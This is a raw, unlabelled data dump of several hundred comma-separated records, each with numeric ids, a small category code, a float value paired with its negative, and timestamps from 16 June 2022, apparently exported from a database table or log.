+2130,4,2795,12.67230808,-12.67230808,2022-06-16 08:28:17.388208+00 +1715,6,2480,9.334641392,-9.334641392,2022-06-16 08:18:40.436772+00 +4037,2,3648,9.180889085,-9.180889085,2022-06-16 08:55:04.660146+00 +1721,1,2480,12.84030655,-12.84030655,2022-06-16 08:18:45.98762+00 +1722,1,2496,12.78115041,-12.78115041,2022-06-16 08:18:45.990882+00 +2137,6,2653,15.46522816,-15.46522816,2022-06-16 08:28:37.894694+00 +1481,4,2256,12.93358516,-12.93358516,2022-06-16 08:12:06.110783+00 +1482,4,2304,9.583361567,-9.583361567,2022-06-16 08:12:06.115175+00 +1483,4,2288,9.59429223,-9.59429223,2022-06-16 08:12:06.116508+00 +1485,1,2304,13.08440652,-13.08440652,2022-06-16 08:12:21.994537+00 +1486,1,2288,13.0861616,-13.0861616,2022-06-16 08:12:21.998029+00 +1488,4,2267,12.77042841,-12.77042841,2022-06-16 08:12:25.456555+00 +2138,6,2717,15.39486344,-15.39486344,2022-06-16 08:28:37.898471+00 +1732,2,2480,10.95900813,-10.95900813,2022-06-16 08:19:04.543523+00 +2139,6,2781,15.3248585,-15.3248585,2022-06-16 08:28:37.89973+00 +1496,6,2288,9.764876606,-9.764876606,2022-06-16 08:12:37.491511+00 +1329,4,2171,13.16669462,-13.16669462,2022-06-16 08:08:20.045357+00 +2140,6,2845,15.25521314,-15.25521314,2022-06-16 08:28:37.900838+00 +1936,4,2667,12.89946665,-12.89946665,2022-06-16 08:24:11.062749+00 +1940,4,2683,12.34426701,-12.34426701,2022-06-16 08:24:20.716613+00 +2729,6,3136,8.205895877,-8.205895877,2022-06-16 08:38:20.016731+00 +1339,6,2160,10.09468219,-10.09468219,2022-06-16 08:08:23.036755+00 +2151,6,2621,15.09891105,-15.09891105,2022-06-16 08:28:45.205552+00 +2152,6,2685,15.03097341,-15.03097341,2022-06-16 08:28:45.209068+00 +1344,6,2176,10.04950066,-10.04950066,2022-06-16 08:08:23.242436+00 +1510,2,2288,11.50722394,-11.50722394,2022-06-16 08:13:04.454083+00 +2153,6,2749,14.9633885,-14.9633885,2022-06-16 08:28:45.210019+00 +1954,6,2688,8.832779983,-8.832779983,2022-06-16 08:24:24.691384+00 +1515,2,2304,11.45485635,-11.45485635,2022-06-16 08:13:04.574467+00 +2154,6,2813,14.89615587,-14.89615587,2022-06-16 08:28:45.210895+00 +1519,6,2256,13.10608667,-13.10608667,2022-06-16 08:13:14.376295+00 +2155,6,2877,14.82927504,-14.82927504,2022-06-16 08:28:45.211744+00 +1766,4,2560,9.008268813,-9.008268813,2022-06-16 08:20:05.528416+00 +1767,4,2512,12.54468949,-12.54468949,2022-06-16 08:20:05.531855+00 +1768,4,2544,8.99943715,-8.99943715,2022-06-16 08:20:05.532852+00 +1770,1,2544,12.78396497,-12.78396497,2022-06-16 08:20:36.988506+00 +1771,1,2560,12.72511362,-12.72511362,2022-06-16 08:20:36.99193+00 +2736,6,3165,14.16894998,-14.16894998,2022-06-16 08:38:24.597462+00 +2742,6,3109,14.97046876,-14.97046876,2022-06-16 08:38:27.958118+00 +2743,6,3173,14.90458804,-14.90458804,2022-06-16 08:38:27.961372+00 +1530,6,2213,16.20030723,-16.20030723,2022-06-16 08:13:48.470073+00 +3299,1,3232,14.54790714,-14.54790714,2022-06-16 08:44:49.203517+00 +1781,6,2544,9.137027156,-9.137027156,2022-06-16 08:20:48.822909+00 +3661,6,3408,12.35275257,-12.35275257,2022-06-16 08:49:49.587167+00 +7129,4,4790,16.18471641,-16.18471641,2022-06-16 09:39:00.521549+00 +1787,4,2459,12.51008161,-12.51008161,2022-06-16 08:20:50.478551+00 +2447,4,2720,10.02282455,-10.02282455,2022-06-16 08:34:11.546937+00 +2452,1,3008,12.20320949,-12.20320949,2022-06-16 08:34:22.099162+00 +2453,1,2992,12.2045702,-12.2045702,2022-06-16 08:34:22.103052+00 +1985,6,2533,15.51420888,-15.51420888,2022-06-16 08:25:11.310928+00 +2182,2,2800,10.11179544,-10.11179544,2022-06-16 08:29:04.418923+00 +2760,2,3088,13.90626427,-13.90626427,2022-06-16 08:38:59.413954+00 +4911,4,3872,8.134427812,-8.134427812,2022-06-16 09:08:09.799057+00 +2187,2,2816,10.06726229,-10.06726229,2022-06-16 08:29:04.537357+00 +4928,6,4141,11.80083745,-11.80083745,2022-06-16 09:08:31.991297+00 +3331,1,3224,19.65883365,-19.65883365,2022-06-16 08:45:16.201384+00 +4064,6,3600,12.71151006,-12.71151006,2022-06-16 08:55:35.283382+00 +4943,6,4080,6.69198651,-6.69198651,2022-06-16 09:08:43.488255+00 +4958,6,4075,12.98946205,-12.98946205,2022-06-16 09:08:45.368633+00 +2483,6,3045,14.13207466,-14.13207466,2022-06-16 08:34:50.667025+00 +5361,3,4336,11.19935316,-11.19935316,2022-06-16 09:15:08.820672+00 +4501,4,3792,11.28047352,-11.28047352,2022-06-16 09:01:53.316482+00 +3716,6,3557,15.04561296,-15.04561296,2022-06-16 08:50:20.969912+00 +3051,6,3309,13.70626073,-13.70626073,2022-06-16 08:42:03.815578+00 +5832,6,4507,11.77685707,-11.77685707,2022-06-16 09:22:58.307117+00 +3731,6,3581,12.96916443,-12.96916443,2022-06-16 08:50:25.078887+00 +5848,6,4605,10.95706209,-10.95706209,2022-06-16 09:22:59.446545+00 +1557,4,2320,12.83841035,-12.83841035,2022-06-16 08:14:05.266883+00 +1558,4,2352,9.456712956,-9.456712956,2022-06-16 08:14:05.270883+00 +1559,4,2368,9.414870361,-9.414870361,2022-06-16 08:14:05.272055+00 +1560,1,2368,13.00077112,-13.00077112,2022-06-16 08:14:12.980521+00 +1561,1,2352,13.0024873,-13.0024873,2022-06-16 08:14:12.983803+00 +1562,4,2363,12.75849008,-12.75849008,2022-06-16 08:14:19.847322+00 +1563,4,2331,12.69098508,-12.69098508,2022-06-16 08:14:22.014466+00 +2516,6,2960,12.27030919,-12.27030919,2022-06-16 08:35:20.205757+00 +5013,4,3856,11.44843552,-11.44843552,2022-06-16 09:09:47.312332+00 +2028,6,2736,8.760579015,-8.760579015,2022-06-16 08:26:06.34155+00 +4537,3,3904,13.5474075,-13.5474075,2022-06-16 09:02:23.888334+00 +2056,4,2552,16.49042787,-16.49042787,2022-06-16 08:26:55.207416+00 +2062,2,2704,14.37768964,-14.37768964,2022-06-16 08:27:04.426459+00 +3615,2,3408,14.27400334,-14.27400334,2022-06-16 08:49:04.480725+00 +1571,6,2352,9.608712559,-9.608712559,2022-06-16 08:14:32.448683+00 +2317,4,2944,8.078225402,-8.078225402,2022-06-16 08:32:05.180539+00 +1849,4,2603,12.97872526,-12.97872526,2022-06-16 08:22:07.423259+00 +2318,4,2896,11.88119829,-11.88119829,2022-06-16 08:32:05.18399+00 +2319,4,2928,8.072086725,-8.072086725,2022-06-16 08:32:05.185081+00 +1576,6,2368,9.566082831,-9.566082831,2022-06-16 08:14:32.682811+00 +2620,7,2800,16.69925418,-16.69925418,2022-06-16 08:36:54.358396+00 +3241,4,3277,14.91701502,-14.91701502,2022-06-16 08:44:08.054781+00 +3242,4,3325,15.37270811,-15.37270811,2022-06-16 08:44:08.058187+00 +1642,6,2317,15.60447494,-15.60447494,2022-06-16 08:16:28.580439+00 +3243,4,3317,18.60646353,-18.60646353,2022-06-16 08:44:08.05932+00 +1652,1,2416,12.9520055,-12.9520055,2022-06-16 08:16:57.989466+00 +1653,1,2432,12.89216224,-12.89216224,2022-06-16 08:16:57.992619+00 +3244,4,3293,15.40531953,-15.40531953,2022-06-16 08:44:08.06026+00 +3245,4,3309,15.26380276,-15.26380276,2022-06-16 08:44:08.061178+00 +7130,4,4854,16.10841316,-16.10841316,2022-06-16 09:39:00.524812+00 +1672,2,2384,14.88790004,-14.88790004,2022-06-16 08:17:04.633203+00 +4912,1,4075,12.6764322,-12.6764322,2022-06-16 09:08:13.265108+00 +4913,1,4059,12.24538913,-12.24538913,2022-06-16 09:08:13.268336+00 +2967,2,3184,9.210814486,-9.210814486,2022-06-16 08:41:04.404492+00 +4914,1,4091,12.1497827,-12.1497827,2022-06-16 09:08:13.269229+00 +2128,6,2816,8.687874656,-8.687874656,2022-06-16 08:28:06.646239+00 +2131,4,2811,12.1463769,-12.1463769,2022-06-16 08:28:21.118066+00 +2683,4,3136,7.585332569,-7.585332569,2022-06-16 08:38:05.590476+00 +2684,4,3120,7.454815654,-7.454815654,2022-06-16 08:38:05.594481+00 +2685,4,3088,11.37675756,-11.37675756,2022-06-16 08:38:05.595525+00 +1702,4,2496,9.153048889,-9.153048889,2022-06-16 08:18:05.121662+00 +1703,4,2480,9.164021987,-9.164021987,2022-06-16 08:18:05.125473+00 +1704,4,2448,12.61803677,-12.61803677,2022-06-16 08:18:05.126817+00 +2144,6,2789,14.99723777,-14.99723777,2022-06-16 08:28:41.316638+00 +2145,6,2853,14.92903585,-14.92903585,2022-06-16 08:28:41.31981+00 +5362,4,4176,11.3877823,-11.3877823,2022-06-16 09:15:16.314246+00 +1932,4,2640,12.38369618,-12.38369618,2022-06-16 08:24:05.422268+00 +1933,4,2688,8.708065202,-8.708065202,2022-06-16 08:24:05.426328+00 +1934,4,2672,8.718937341,-8.718937341,2022-06-16 08:24:05.427478+00 +1937,4,2651,12.38356948,-12.38356948,2022-06-16 08:24:15.40839+00 +5376,7,4338,16.80915484,-16.80915484,2022-06-16 09:15:47.187307+00 +2160,6,2768,12.47356601,-12.47356601,2022-06-16 08:28:47.351902+00 +1737,2,2496,10.90979255,-10.90979255,2022-06-16 08:19:04.663301+00 +2724,6,3120,8.090745784,-8.090745784,2022-06-16 08:38:19.799761+00 +1743,6,2448,12.82154551,-12.82154551,2022-06-16 08:19:59.062917+00 +2732,1,3099,15.02573437,-15.02573437,2022-06-16 08:38:22.121062+00 +2737,1,3115,15.43508854,-15.43508854,2022-06-16 08:38:25.122038+00 +2738,1,3131,14.87185797,-14.87185797,2022-06-16 08:38:25.125367+00 +2177,2,2768,14.27116388,-14.27116388,2022-06-16 08:28:59.394155+00 +5833,1,4539,11.20417369,-11.20417369,2022-06-16 09:22:58.376159+00 +2748,6,3181,13.97163873,-13.97163873,2022-06-16 08:38:29.986795+00 +2448,4,2971,11.96875749,-11.96875749,2022-06-16 08:34:16.959312+00 +1769,4,2555,12.54743045,-12.54743045,2022-06-16 08:20:20.617412+00 +4502,2,3546,16.73104301,-16.73104301,2022-06-16 09:01:59.076727+00 +1974,2,2640,14.48613599,-14.48613599,2022-06-16 08:25:04.318741+00 +1776,6,2512,12.79737382,-12.79737382,2022-06-16 08:20:48.118543+00 +2188,4,2744,16.29697195,-16.29697195,2022-06-16 08:29:09.350058+00 +2458,4,2848,9.946061346,-9.946061346,2022-06-16 08:34:29.782281+00 +1979,2,2672,10.44112287,-10.44112287,2022-06-16 08:25:04.439023+00 +2463,6,2992,8.322266289,-8.322266289,2022-06-16 08:34:30.284506+00 +1786,6,2560,9.097147047,-9.097147047,2022-06-16 08:20:49.075546+00 +2468,6,3008,8.28686061,-8.28686061,2022-06-16 08:34:30.49492+00 +1984,2,2688,10.39477526,-10.39477526,2022-06-16 08:25:04.551162+00 +1792,2,2544,10.81118193,-10.81118193,2022-06-16 08:21:04.431485+00 +1986,6,2597,15.44296234,-15.44296234,2022-06-16 08:25:24.132531+00 +3676,6,3419,14.432401,-14.432401,2022-06-16 08:49:57.64576+00 +1797,2,2560,10.76280866,-10.76280866,2022-06-16 08:21:04.539093+00 +4090,1,3608,19.13530595,-19.13530595,2022-06-16 08:55:40.231462+00 +2765,6,3088,12.19252625,-12.19252625,2022-06-16 08:39:03.278909+00 +1802,2,2512,14.66149149,-14.66149149,2022-06-16 08:21:04.644982+00 +3318,1,3160,19.64619896,-19.64619896,2022-06-16 08:45:01.205013+00 +2488,6,3053,14.32539342,-14.32539342,2022-06-16 08:34:52.708455+00 +3325,2,3312,8.8252268,-8.8252268,2022-06-16 08:45:04.445134+00 +2494,4,2776,14.32667566,-14.32667566,2022-06-16 08:34:58.059921+00 +2002,6,2661,15.37208202,-15.37208202,2022-06-16 08:25:30.787545+00 +2003,6,2725,15.30156775,-15.30156775,2022-06-16 08:25:38.240826+00 +6485,1,4831,15.15909877,-15.15909877,2022-06-16 09:31:07.380531+00 +3332,7,3312,16.09426723,-16.09426723,2022-06-16 08:45:16.243478+00 +3333,7,3376,15.99367906,-15.99367906,2022-06-16 08:45:16.246913+00 +2511,4,2904,14.28181114,-14.28181114,2022-06-16 08:35:17.099472+00 +7131,4,4918,16.03249166,-16.03249166,2022-06-16 09:39:00.525667+00 +3701,4,3520,6.984645751,-6.984645751,2022-06-16 08:50:05.925471+00 +2017,4,2704,12.29671989,-12.29671989,2022-06-16 08:26:05.260865+00 +2018,4,2752,8.571869399,-8.571869399,2022-06-16 08:26:05.264129+00 +2019,4,2736,8.582799345,-8.582799345,2022-06-16 08:26:05.265144+00 +3702,4,3504,6.357263176,-6.357263176,2022-06-16 08:50:05.929269+00 +3703,4,3472,11.16853812,-11.16853812,2022-06-16 08:50:05.930228+00 +3711,6,3549,13.15570671,-13.15570671,2022-06-16 08:50:17.557292+00 +3717,4,3515,10.65525562,-10.65525562,2022-06-16 08:50:21.375052+00 +3718,4,3499,11.09507751,-11.09507751,2022-06-16 08:50:21.378451+00 +3719,4,3483,10.68638221,-10.68638221,2022-06-16 08:50:21.379405+00 +3726,6,3565,12.99826974,-12.99826974,2022-06-16 08:50:23.01537+00 +2033,6,2752,8.722795179,-8.722795179,2022-06-16 08:26:06.601687+00 +2034,1,2752,12.48978832,-12.48978832,2022-06-16 08:26:07.023546+00 +2035,1,2736,12.49121292,-12.49121292,2022-06-16 08:26:07.024872+00 +2036,6,2701,15.00487341,-15.00487341,2022-06-16 08:26:09.268562+00 +2037,4,2731,12.79697928,-12.79697928,2022-06-16 08:26:14.047147+00 +2038,4,2715,12.28351595,-12.28351595,2022-06-16 08:26:14.050486+00 +2039,4,2747,12.24467327,-12.24467327,2022-06-16 08:26:20.425401+00 +3060,4,3248,7.240648704,-7.240648704,2022-06-16 08:42:05.12542+00 +3061,4,3264,7.348256949,-7.348256949,2022-06-16 08:42:05.129991+00 +2230,6,2864,8.633265692,-8.633265692,2022-06-16 08:30:04.543892+00 +3062,4,3216,11.22913473,-11.22913473,2022-06-16 08:42:05.131311+00 +2044,6,2704,12.49305569,-12.49305569,2022-06-16 08:26:47.699028+00 +7132,4,4982,15.95695227,-15.95695227,2022-06-16 09:39:00.526462+00 +2838,4,3152,11.328078,-11.328078,2022-06-16 08:40:05.381188+00 +2839,4,3184,7.336734599,-7.336734599,2022-06-16 08:40:05.385355+00 +2235,6,2880,8.596275669,-8.596275669,2022-06-16 08:30:04.77896+00 +2236,4,2864,8.20891743,-8.20891743,2022-06-16 08:30:05.092255+00 +2237,4,2832,11.96269393,-11.96269393,2022-06-16 08:30:05.09587+00 +2238,4,2880,8.156689545,-8.156689545,2022-06-16 08:30:05.096889+00 +2239,4,2859,12.59592721,-12.59592721,2022-06-16 08:30:20.259968+00 +2240,4,2875,12.07204006,-12.07204006,2022-06-16 08:30:20.26357+00 +2241,1,2880,12.33324261,-12.33324261,2022-06-16 08:30:43.09504+00 +2242,1,2864,12.33450302,-12.33450302,2022-06-16 08:30:43.098499+00 +2840,4,3200,7.445494167,-7.445494167,2022-06-16 08:40:05.387303+00 +4538,3,3968,13.47035125,-13.47035125,2022-06-16 09:02:23.891631+00 +2569,6,3133,14.23409297,-14.23409297,2022-06-16 08:36:06.390634+00 +5014,4,3920,11.40640875,-11.40640875,2022-06-16 09:09:55.882803+00 +2247,2,2832,14.1950335,-14.1950335,2022-06-16 08:30:59.41848+00 +2851,6,3184,7.966844459,-7.966844459,2022-06-16 08:40:10.384701+00 +7133,4,5046,15.88179533,-15.88179533,2022-06-16 09:39:00.527223+00 +4915,4,4075,9.86174593,-9.86174593,2022-06-16 09:08:20.43885+00 +2330,6,2973,14.6392286,-14.6392286,2022-06-16 08:32:23.722641+00 +2252,6,2832,12.44089712,-12.44089712,2022-06-16 08:31:02.581965+00 +2339,6,2928,8.480879085,-8.480879085,2022-06-16 08:32:26.988741+00 +3635,6,3493,15.06607156,-15.06607156,2022-06-16 08:49:10.313055+00 +4458,6,3885,12.31264168,-12.31264168,2022-06-16 09:01:10.741234+00 +2644,6,3101,14.24006671,-14.24006671,2022-06-16 08:37:12.070868+00 +2649,6,3117,14.14383362,-14.14383362,2022-06-16 08:37:18.537843+00 +4047,6,3709,12.68969692,-12.68969692,2022-06-16 08:55:12.004757+00 +3656,1,3424,14.13541289,-14.13541289,2022-06-16 08:49:40.216732+00 +2376,2,2944,9.751888438,-9.751888438,2022-06-16 08:33:04.680582+00 +2381,6,2896,12.35491875,-12.35491875,2022-06-16 08:33:11.329244+00 +2952,2,3152,13.77864023,-13.77864023,2022-06-16 08:40:59.432491+00 +3287,6,3373,13.45224992,-13.45224992,2022-06-16 08:44:25.961851+00 +3293,6,3389,13.42208658,-13.42208658,2022-06-16 08:44:28.070064+00 +4916,4,4091,9.428406936,-9.428406936,2022-06-16 09:08:20.442103+00 +2686,4,2829,16.47228885,-16.47228885,2022-06-16 08:38:17.297007+00 +2687,4,2893,16.392617,-16.392617,2022-06-16 08:38:17.300469+00 +2688,4,2957,16.31334401,-16.31334401,2022-06-16 08:38:17.30138+00 +2689,4,3021,16.23447057,-16.23447057,2022-06-16 08:38:17.302279+00 +2690,4,3085,16.15599727,-16.15599727,2022-06-16 08:38:17.303141+00 +2431,4,2656,10.10738264,-10.10738264,2022-06-16 08:33:54.80026+00 +2691,4,2877,16.77165997,-16.77165997,2022-06-16 08:38:17.304044+00 +2692,4,2941,16.69171894,-16.69171894,2022-06-16 08:38:17.304978+00 +2693,4,3005,16.61216179,-16.61216179,2022-06-16 08:38:17.305757+00 +2449,4,2784,9.984334674,-9.984334674,2022-06-16 08:34:19.61046+00 +2450,4,3003,11.90398946,-11.90398946,2022-06-16 08:34:19.614225+00 +2694,4,3069,16.53298952,-16.53298952,2022-06-16 08:38:17.306538+00 +2695,4,3133,16.45420303,-16.45420303,2022-06-16 08:38:17.307342+00 +2696,4,2869,19.26629004,-19.26629004,2022-06-16 08:38:17.30812+00 +2697,4,2933,19.18151366,-19.18151366,2022-06-16 08:38:17.308926+00 +2473,6,3021,13.93370716,-13.93370716,2022-06-16 08:34:40.141728+00 +2477,6,3037,14.45260124,-14.45260124,2022-06-16 08:34:47.22369+00 +2698,4,2997,19.09700711,-19.09700711,2022-06-16 08:38:17.309752+00 +2699,4,3061,19.01277402,-19.01277402,2022-06-16 08:38:17.310541+00 +2700,4,3125,18.92881795,-18.92881795,2022-06-16 08:38:17.311312+00 +2493,6,3069,14.29731816,-14.29731816,2022-06-16 08:34:54.765589+00 +2499,2,2960,14.04851936,-14.04851936,2022-06-16 08:34:59.40022+00 +2701,4,2861,16.3481156,-16.3481156,2022-06-16 08:38:17.31206+00 +2504,2,2992,9.690972596,-9.690972596,2022-06-16 08:35:04.404192+00 +2702,4,2925,16.27094193,-16.27094193,2022-06-16 08:38:17.312788+00 +2509,2,3008,9.648690618,-9.648690618,2022-06-16 08:35:04.518685+00 +2703,4,2989,16.19414953,-16.19414953,2022-06-16 08:38:17.313625+00 +2704,4,3053,16.11773896,-16.11773896,2022-06-16 08:38:17.314357+00 +2705,4,3117,16.04171068,-16.04171068,2022-06-16 08:38:17.315094+00 +2706,4,2845,16.22742812,-16.22742812,2022-06-16 08:38:17.315838+00 +2707,4,2973,16.15127159,-16.15127159,2022-06-16 08:38:17.317884+00 +2708,4,3037,16.07549301,-16.07549301,2022-06-16 08:38:17.318696+00 +2709,4,3101,16.00009281,-16.00009281,2022-06-16 08:38:17.319456+00 +2710,4,3099,11.6415634,-11.6415634,2022-06-16 08:38:17.320199+00 +2715,6,3149,13.6087936,-13.6087936,2022-06-16 08:38:18.391611+00 +4058,4,3640,15.22008714,-15.22008714,2022-06-16 08:55:16.08586+00 +5363,2,4346,16.49801016,-16.49801016,2022-06-16 09:15:24.059694+00 +7134,4,4791,16.26002407,-16.26002407,2022-06-16 09:39:00.528481+00 +2553,4,2936,15.92657843,-15.92657843,2022-06-16 08:36:04.304531+00 +2730,4,3131,11.54323572,-11.54323572,2022-06-16 08:38:20.584499+00 +2731,4,3115,12.00791505,-12.00791505,2022-06-16 08:38:20.585813+00 +2562,4,3072,7.630605061,-7.630605061,2022-06-16 08:36:05.636389+00 +2563,4,3024,11.46546632,-11.46546632,2022-06-16 08:36:05.639986+00 +2564,4,3056,7.626138424,-7.626138424,2022-06-16 08:36:05.642445+00 +6503,6,4763,10.80433918,-10.80433918,2022-06-16 09:31:14.979645+00 +4091,4,3480,13.3489306,-13.3489306,2022-06-16 08:55:44.144334+00 +2573,7,2864,16.80126719,-16.80126719,2022-06-16 08:36:07.777784+00 +3704,4,3517,14.83664486,-14.83664486,2022-06-16 08:50:08.546771+00 +3705,4,3501,14.8070791,-14.8070791,2022-06-16 08:50:08.550156+00 +2579,6,3056,8.255008413,-8.255008413,2022-06-16 08:36:08.366064+00 +2753,6,3197,13.93960247,-13.93960247,2022-06-16 08:38:32.156673+00 +3706,4,3485,14.87924146,-14.87924146,2022-06-16 08:50:08.55117+00 +2585,1,3056,12.08530027,-12.08530027,2022-06-16 08:36:13.071337+00 +2586,1,3072,12.12418937,-12.12418937,2022-06-16 08:36:13.074914+00 +2588,4,3051,12.30377142,-12.30377142,2022-06-16 08:36:20.094742+00 +2590,1,3051,16.20317159,-16.20317159,2022-06-16 08:36:31.094223+00 +2591,1,3003,15.63061587,-15.63061587,2022-06-16 08:36:31.097465+00 +2592,1,2987,16.08840782,-16.08840782,2022-06-16 08:36:31.098348+00 +2593,1,2971,15.60178096,-15.60178096,2022-06-16 08:36:31.099247+00 +2594,1,2875,15.48052156,-15.48052156,2022-06-16 08:36:31.101135+00 +2595,1,2795,15.93809527,-15.93809527,2022-06-16 08:36:31.102632+00 +2596,1,2939,15.36856439,-15.36856439,2022-06-16 08:36:31.103752+00 +2597,1,3067,15.29452994,-15.29452994,2022-06-16 08:36:31.104702+00 +2598,1,2859,15.79006979,-15.79006979,2022-06-16 08:36:31.10557+00 +2599,1,3035,15.34467766,-15.34467766,2022-06-16 08:36:31.106256+00 +2600,1,2843,15.27108745,-15.27108745,2022-06-16 08:36:31.107013+00 +2601,1,2923,15.64344924,-15.64344924,2022-06-16 08:36:31.107766+00 +2602,1,2779,15.16174612,-15.16174612,2022-06-16 08:36:31.108647+00 +2603,1,2811,15.04229808,-15.04229808,2022-06-16 08:36:31.109327+00 +4503,1,3800,18.8482258,-18.8482258,2022-06-16 09:02:01.269385+00 +3720,1,3504,10.69468655,-10.69468655,2022-06-16 08:50:22.2059+00 +3721,1,3520,11.53235644,-11.53235644,2022-06-16 08:50:22.209285+00 +7135,4,4855,16.18322264,-16.18322264,2022-06-16 09:39:00.529225+00 +2780,2,3120,9.356891557,-9.356891557,2022-06-16 08:39:04.40304+00 +4989,7,4144,15.28702312,-15.28702312,2022-06-16 09:09:14.11248+00 +2785,2,3136,9.480156375,-9.480156375,2022-06-16 08:39:04.514444+00 +4125,6,3757,12.58055988,-12.58055988,2022-06-16 08:56:22.325875+00 +4132,6,3773,12.55319576,-12.55319576,2022-06-16 08:56:24.52242+00 +5002,1,4064,12.80060265,-12.80060265,2022-06-16 09:09:40.278317+00 +4149,6,3712,7.586744012,-7.586744012,2022-06-16 08:56:28.20425+00 +7136,4,4919,16.10680372,-16.10680372,2022-06-16 09:39:00.52987+00 +3764,2,3472,14.28846432,-14.28846432,2022-06-16 08:50:59.4265+00 +5436,3,4416,12.78617167,-12.78617167,2022-06-16 09:16:26.058001+00 +7137,4,4983,16.03076778,-16.03076778,2022-06-16 09:39:00.530475+00 +5048,4,4152,13.74541268,-13.74541268,2022-06-16 09:10:05.082765+00 +3411,4,3344,11.40359285,-11.40359285,2022-06-16 08:46:05.189406+00 +3412,4,3392,7.359737811,-7.359737811,2022-06-16 08:46:05.19257+00 +3413,4,3376,6.767062469,-6.767062469,2022-06-16 08:46:05.193474+00 +3421,1,3296,14.47180041,-14.47180041,2022-06-16 08:46:19.207394+00 +3426,1,3288,19.53649635,-19.53649635,2022-06-16 08:46:25.211547+00 +2841,4,3181,15.85259653,-15.85259653,2022-06-16 08:40:08.510556+00 +2842,4,3189,18.72468123,-18.72468123,2022-06-16 08:40:08.514747+00 +2843,4,3197,15.76997359,-15.76997359,2022-06-16 08:40:08.515655+00 +2844,4,3165,15.84418029,-15.84418029,2022-06-16 08:40:08.516567+00 +2845,4,3149,15.20528957,-15.20528957,2022-06-16 08:40:08.517959+00 +3429,6,3099,15.20524634,-15.20524634,2022-06-16 08:46:43.078739+00 +3430,6,3163,15.13121384,-15.13121384,2022-06-16 08:46:43.083219+00 +3431,6,3227,15.05759243,-15.05759243,2022-06-16 08:46:43.084346+00 +3432,6,3291,14.98438158,-14.98438158,2022-06-16 08:46:43.085418+00 +2857,1,3179,15.29351835,-15.29351835,2022-06-16 08:40:16.134737+00 +2858,1,3195,14.73221643,-14.73221643,2022-06-16 08:40:16.138155+00 +2860,4,3195,11.38638465,-11.38638465,2022-06-16 08:40:20.258632+00 +3433,6,3355,14.91158071,-14.91158071,2022-06-16 08:46:43.08646+00 +2915,6,3237,14.94720175,-14.94720175,2022-06-16 08:40:49.584052+00 +5349,2,4272,6.931172517,-6.931172517,2022-06-16 09:15:04.449721+00 +2630,6,3085,13.7230773,-13.7230773,2022-06-16 08:37:03.730799+00 +4917,4,4059,9.475316943,-9.475316943,2022-06-16 09:08:21.719566+00 +2267,2,2864,9.951726709,-9.951726709,2022-06-16 08:31:04.407891+00 +2348,6,2981,14.31676692,-14.31676692,2022-06-16 08:32:27.199391+00 +2354,6,2989,14.51027134,-14.51027134,2022-06-16 08:32:29.303532+00 +2937,6,3152,12.14124137,-12.14124137,2022-06-16 08:40:55.260048+00 +7138,1,5024,11.40033859,-11.40033859,2022-06-16 09:39:01.448078+00 +2272,2,2880,9.908110348,-9.908110348,2022-06-16 08:31:04.524679+00 +2273,4,2843,12.06458388,-12.06458388,2022-06-16 08:31:14.219734+00 +2371,2,2928,9.794749738,-9.794749738,2022-06-16 08:33:04.569944+00 +5364,4,4240,11.34639138,-11.34639138,2022-06-16 09:15:26.96321+00 +4059,4,3416,13.4398172,-13.4398172,2022-06-16 08:55:32.615511+00 +3282,6,3365,15.02842372,-15.02842372,2022-06-16 08:44:23.834432+00 +2278,6,2917,14.53601136,-14.53601136,2022-06-16 08:31:15.226937+00 +3288,7,3290,16.77050983,-16.77050983,2022-06-16 08:44:26.65344+00 +3296,1,3104,14.74051974,-14.74051974,2022-06-16 08:44:31.201321+00 +13802,1,7016,19.61054423,-19.61054423,2022-06-16 10:40:52.722741+00 +13803,1,7000,13.99420853,-13.99420853,2022-06-16 10:40:52.726008+00 +2283,6,2925,14.72962748,-14.72962748,2022-06-16 08:31:17.298701+00 +4990,1,4088,19.35735156,-19.35735156,2022-06-16 09:09:34.269201+00 +3320,2,3280,13.98106608,-13.98106608,2022-06-16 08:45:04.34359+00 +4092,1,3616,13.70020264,-13.70020264,2022-06-16 08:55:46.259705+00 +13841,2,7070,10.84553335,-10.84553335,2022-06-16 10:41:04.693619+00 +2288,6,2941,14.69994972,-14.69994972,2022-06-16 08:31:19.379117+00 +7206,7,5066,16.13520012,-16.13520012,2022-06-16 09:39:24.448969+00 +4117,6,3741,12.70434425,-12.70434425,2022-06-16 08:56:16.099769+00 +4126,4,3675,10.27487279,-10.27487279,2022-06-16 08:56:22.982888+00 +2754,1,3120,11.9635765,-11.9635765,2022-06-16 08:38:58.148891+00 +2444,4,2992,7.96180579,-7.96180579,2022-06-16 08:34:04.811267+00 +2445,4,3008,7.928195512,-7.928195512,2022-06-16 08:34:04.814695+00 +2446,4,2960,11.76849961,-11.76849961,2022-06-16 08:34:04.815904+00 +2451,4,2987,12.37742003,-12.37742003,2022-06-16 08:34:20.929557+00 +2755,1,3136,12.09586207,-12.09586207,2022-06-16 08:38:58.152981+00 +4127,4,3691,10.63510254,-10.63510254,2022-06-16 08:56:22.986391+00 +4133,4,3707,10.17322428,-10.17322428,2022-06-16 08:56:24.656941+00 +4522,6,3933,12.30225053,-12.30225053,2022-06-16 09:02:17.444836+00 +4144,6,3696,6.917749064,-6.917749064,2022-06-16 08:56:27.995361+00 +4150,4,3488,8.695277556,-8.695277556,2022-06-16 08:56:34.299241+00 +2478,4,2712,14.38434617,-14.38434617,2022-06-16 08:34:48.279148+00 +4532,6,3949,12.18168918,-12.18168918,2022-06-16 09:02:23.25469+00 +5437,1,4347,11.60145806,-11.60145806,2022-06-16 09:16:28.321544+00 +5438,1,4331,12.03815713,-12.03815713,2022-06-16 09:16:28.325023+00 +5049,4,4160,5.711173882,-5.711173882,2022-06-16 09:10:06.743836+00 +5050,4,4144,4.883074672,-4.883074672,2022-06-16 09:10:06.747397+00 +3769,2,3504,8.540255585,-8.540255585,2022-06-16 08:51:04.437229+00 +2510,4,2840,14.33918889,-14.33918889,2022-06-16 08:35:07.554196+00 +4179,2,3696,8.21014757,-8.21014757,2022-06-16 08:57:04.455063+00 +3068,4,3213,15.13484797,-15.13484797,2022-06-16 08:42:08.236677+00 +3069,4,3253,18.71157158,-18.71157158,2022-06-16 08:42:08.240324+00 +2527,4,2808,16.05279063,-16.05279063,2022-06-16 08:35:45.312863+00 +3070,4,3261,15.54863058,-15.54863058,2022-06-16 08:42:08.24155+00 +2533,4,2872,15.98955039,-15.98955039,2022-06-16 08:35:56.080753+00 +3071,4,3229,15.62313741,-15.62313741,2022-06-16 08:42:08.24257+00 +3072,4,3245,15.44748914,-15.44748914,2022-06-16 08:42:08.243554+00 +3077,6,3248,7.845233139,-7.845233139,2022-06-16 08:42:12.80132+00 